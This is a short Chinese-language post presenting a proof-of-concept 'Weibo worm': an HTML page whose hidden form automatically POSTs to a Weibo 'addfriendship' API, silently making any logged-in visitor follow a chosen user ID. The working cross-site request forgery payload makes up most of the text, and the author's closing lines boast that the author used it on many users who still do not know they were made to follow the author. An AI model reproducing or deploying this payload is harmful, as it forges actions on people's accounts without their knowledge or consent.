PoC：微博蠕一下
<html>
<body>
<form action="https://yahoo.tw.weibo.com/api/yahoo/addfriendship" method="POST">
<input type="hidden" name="uid" value="YourID" />
<input type="submit" value="Submit form" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
这段微博蠕虫 PoC 源码的作者是谁，早已无从考证。（我忘了）
借助自动触发的越权与静默操作，它在当时的传播速度快得惊人。
回想当年，随手一发便能让大量用户在不知情的情况下自动关注了我；时隔多年，直到现在对这一切依然浑然不知的，大有人在。